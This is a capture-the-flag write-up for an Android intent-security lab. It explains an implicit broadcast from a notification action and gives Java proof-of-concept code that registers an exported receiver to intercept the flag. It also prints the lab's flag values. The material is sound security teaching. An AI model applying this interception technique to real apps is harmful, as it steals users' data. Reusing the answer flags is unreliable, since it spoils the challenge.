Challenge Requirments

Hijack the notification action triggered by Flag21Activity

Analysis

Flag21Activity

public class Flag21Activity extends AppCompactActivity {  
    public static String GIVE_FLAG = "io.hextree.broadcast.GIVE_FLAG";  
  
    public Flag21Activity() {  
        this.name = "Flag 21 - Hijack notification button";  
        this.flag = "jUBJFmCQFOUsDC+hBOLu3D4rz7J74vUO3rEXLkH+FAygUFFjzpUS7avqDiQnD8Dy";  
        this.tag = "BroadcastReceiver";  
        this.tagColor = R.color.green;  
        this.hideIntentDialog = true;  
    }  
  
    private void createNotificationChannel() {  
        NotificationChannel notificationChannel = new NotificationChannel("CHANNEL_ID", "Hextree Notifications", 3);  
        notificationChannel.setDescription("Notifications related to various intent attack surface features. Probably good idea to reverse engineer this notification.");  
        ((NotificationManager) getSystemService(NotificationManager.class)).createNotificationChannel(notificationChannel);  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        createNotificationChannel();  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        if (getIntent() == null) {  
            return;  
        }  
        BroadcastReceiver broadcastReceiver = new BroadcastReceiver() { // from class: io.hextree.attacksurface.activities.Flag21Activity.1  
            @Override // android.content.BroadcastReceiver  
            public void onReceive(Context context, Intent intent) {  
                String resultData = getResultData();  
                Bundle resultExtras = getResultExtras(false);  
                int resultCode = getResultCode();  
                Log.i("Flag18Activity.BroadcastReceiver", "resultData " + resultData);  
                Log.i("Flag18Activity.BroadcastReceiver", "resultExtras " + resultExtras);  
                Log.i("Flag18Activity.BroadcastReceiver", "resultCode " + resultCode);  
                Toast.makeText(context, "Check the broadcast intent for the flag", 0).show();  
                Flag21Activity flag21Activity = Flag21Activity.this;  
                flag21Activity.success(null, flag21Activity);  
            }  
        };  
        this.f.addTag(GIVE_FLAG);  
        IntentFilter intentFilter = new IntentFilter(GIVE_FLAG);  
        if (Build.VERSION.SDK_INT >= 33) {  
            registerReceiver(broadcastReceiver, intentFilter, 2);  
        } else {  
            registerReceiver(broadcastReceiver, intentFilter);  
        }  
        Intent intent = new Intent(GIVE_FLAG);  
        intent.putExtra("flag", this.f.appendLog(this.flag));  
        NotificationCompat.Builder addAction = new NotificationCompat.Builder(this, "CHANNEL_ID").setSmallIcon(R.drawable.hextree_logo).setContentTitle(this.name).setContentText("Reverse engineer classes Flag21Activity").setPriority(0).setAutoCancel(true).addAction(R.drawable.hextree_logo, "Give Flag", PendingIntent.getBroadcast(this, 0, intent, 201326592));  
        if (ActivityCompat.checkSelfPermission(this, "android.permission.POST_NOTIFICATIONS") != 0) {  
            if (Build.VERSION.SDK_INT >= 33) {  
                ActivityCompat.requestPermissions(this, new String[]{"android.permission.POST_NOTIFICATIONS"}, 1);  
            }  
        } else {  
            NotificationManagerCompat.from(this).notify(1, addAction.build());  
            Toast.makeText(this, "Check your notifications", 0).show();  
        }  
    }  
}

The challenge flow is really similar to Flag20 challenge, The only difference is instead of sending a broadcast that will help us get the flag we now will receive the broadcast that contains the flag Here’s the flawed part:

    public static String GIVE_FLAG = "io.hextree.broadcast.GIVE_FLAG";  
    ...
    ...
    IntentFilter intentFilter = new IntentFilter(GIVE_FLAG);  
    Intent intent = new Intent(GIVE_FLAG);  
        intent.putExtra("flag", this.f.appendLog(this.flag));  
        NotificationCompat.Builder addAction = new NotificationCompat.Builder(..., PendingIntent.getBroadcast(this, 0, intent, 201326592));  
        if (Build.VERSION.SDK_INT >= 33) {  
            registerReceiver(broadcastReceiver, intentFilter, 2);  
        } else {  
            registerReceiver(broadcastReceiver, intentFilter);  
        }  

As you can see here the notification sends an implicit intent to a really broad filter that even us can use, That said let’s craft the poc!

Creating the POC

POC Code

public class Flag21 extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag21);
		getSupportActionBar().setTitle("Flag 21");
 
        Button button = findViewById(R.id.button_flag21);
        button.setOnClickListener(v -> {
            Log.v("Tensai-POC", "Solving Flag 21");
            // Here we pivot to Flag21Activity via Flag5Activity just to start the challenge
            Intent targetIntent = new Intent();
            targetIntent.setComponent(new ComponentName(
                    "io.hextree.attacksurface",
                    "io.hextree.attacksurface.activities.Flag21Activity"
            ));
            Intent pivot = PivotIntent.create(targetIntent);
            startActivity(pivot);
            // Bring our app back after a 4 seconds delay
            // (Optional - We do that just to show the intent details using Utils.showDialog)
            new Handler(getMainLooper()).postDelayed(() -> {
                Intent back = new Intent(this, Flag21.class);
                back.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT | Intent.FLAG_ACTIVITY_SINGLE_TOP);
                startActivity(back);
            }, 4000);
        });
        BroadcastReceiver receiver = new BroadcastReceiver() {
            @Override
            public void onReceive(Context context, Intent intent) {
                String flag = intent.getStringExtra("flag");
                Log.i("Tensai-POC", "Flag 21: " + flag);
                Utils.showDialog(context,intent);
            }
        };
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            registerReceiver(receiver,new IntentFilter("io.hextree.broadcast.GIVE_FLAG"), Context.RECEIVER_EXPORTED);
        }
    }
}

Attack Flow

The first thing we did is to pivot to Flag21Activity from Flag5Activity just to get the notification Then we fired an intent back to our app to get back to our app After that we just press on the Give Flag button and we will see the flag in LogCat and in our app also!

Flag

HXT{intercepted-notificaiton-ah2us}